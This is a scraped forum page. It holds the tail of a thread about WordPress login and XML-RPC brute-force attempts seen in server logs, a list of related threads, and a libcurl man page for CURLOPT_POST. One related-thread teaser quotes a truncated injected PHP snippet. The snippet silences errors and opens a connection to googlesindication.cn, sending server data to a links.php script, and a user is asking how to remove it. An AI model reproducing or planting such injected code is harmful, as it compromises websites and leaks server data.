02-24-2017
Nothing right now.
---------- Post updated at 11:07 AM ---------- Previous update was at 10:56 AM ----------
This is what my host admin said currently:
Thank you for getting back to us.
The 'HEAD / HTTP/1.0" 200 300' requests you are seeing are multi-choice requests, which require more clarification what sources was actually request. These are typically generated by bad redirects from outside sources via incorrect links.
Regarding the 'POST /wp-login.php HTTP/1.0" 200' and 'POST /xmlrpc.php HTTP/1.0" 404' logs, those are most likely due to someone trying to brute-force your WordPress website. This is an indication of an XML-RPC attack. I would highly advise you to either password protect wp-login.php or wp-admin, in order to prevent outside access to these crucial parts of your website.
Depending on how well you have secured your WordPress site it may eventually lead to the website being compromised. As I see you are using Fail2Ban for your wordpress sites, it should not be an issue.
So, it should not be an issue? have I blown this all out of proportion and worried for nothing, not to mention everybody's time here. If so, I apologize.
But I'm glad to see this forum is active and willing to help.
7 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
Hello,
Please advise a script/command to remove the following line for a file
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER;
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies
2. Shell Programming and Scripting
Hello
I ask you how to make a
Anti-malicious files and viruses
Or if one of you a small example of the work on the same place and I hope my request
I want a small patch or the process of examination Virus
http://www.google.jo/images/cleardot.gif
---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies
3. Cybersecurity
A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work:
CSI:Internet - Alarm at the pizza service
CSI:Internet - The image of death
CSI:Internet - PDF timebomb
CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies
4. Shell Programming and Scripting
I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard.
From parent.pl
$input1=123;
$input2=abc;
I tried calling it with
system("/usr/bin/perl child.pl $input1 $input2");
and
`perl... (1 Reply)
Discussion started by: grajp002
1 Replies
5. Shell Programming and Scripting
Hi All,
I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ??
print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">");
print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies
6. Shell Programming and Scripting
Hello,
i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin:
Posting links to pastebin scripts are forbidden at this site.
Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies
7. Programming
I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open())
I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
LEARN ABOUT MOJAVE
curlopt_post
CURLOPT_POST(3) curl_easy_setopt options CURLOPT_POST(3)
NAME
CURLOPT_POST - request a HTTP POST
SYNOPSIS
#include <curl/curl.h>
CURLcode curl_easy_setopt(CURL *handle, CURLOPT_POST, long post);
DESCRIPTION
A parameter set to 1 tells libcurl to do a regular HTTP post. This will also make the library use a "Content-Type: application/x-www-form-
urlencoded" header. (This is by far the most commonly used POST method).
Use one of CURLOPT_POSTFIELDS(3) or CURLOPT_COPYPOSTFIELDS(3) options to specify what data to post and CURLOPT_POSTFIELDSIZE(3) or CUR-
LOPT_POSTFIELDSIZE_LARGE(3) to set the data size.
Optionally, you can provide data to POST using the CURLOPT_READFUNCTION(3) and CURLOPT_READDATA(3) options but then you must make sure to
not set CURLOPT_POSTFIELDS(3) to anything but NULL. When providing data with a callback, you must transmit it using chunked transfer-encod-
ing or you must set the size of the data with the CURLOPT_POSTFIELDSIZE(3) or CURLOPT_POSTFIELDSIZE_LARGE(3) options. To enable chunked
encoding, you simply pass in the appropriate Transfer-Encoding header, see the post-callback.c example.
You can override the default POST Content-Type: header by setting your own with CURLOPT_HTTPHEADER(3).
Using POST with HTTP 1.1 implies the use of a "Expect: 100-continue" header. You can disable this header with CURLOPT_HTTPHEADER(3) as
usual.
If you use POST to a HTTP 1.1 server, you can send data without knowing the size before starting the POST if you use chunked encoding. You
enable this by adding a header like "Transfer-Encoding: chunked" with CURLOPT_HTTPHEADER(3). With HTTP 1.0 or without chunked transfer, you
must specify the size in the request.
When setting CURLOPT_POST(3) to 1, it will automatically set CURLOPT_NOBODY(3) to 0.
If you issue a POST request and then want to make a HEAD or GET using the same re-used handle, you must explicitly set the new request type
using CURLOPT_NOBODY(3) or CURLOPT_HTTPGET(3) or similar.
DEFAULT
0, disabled
PROTOCOLS
HTTP
EXAMPLE
TODO
AVAILABILITY
Along with HTTP
RETURN VALUE
Returns CURLE_OK if HTTP is supported, and CURLE_UNKNOWN_OPTION if not.
SEE ALSO
CURLOPT_POSTFIELDS(3), CURLOPT_HTTPPOST(3),
libcurl 7.54.0 February 03, 2016 CURLOPT_POST(3)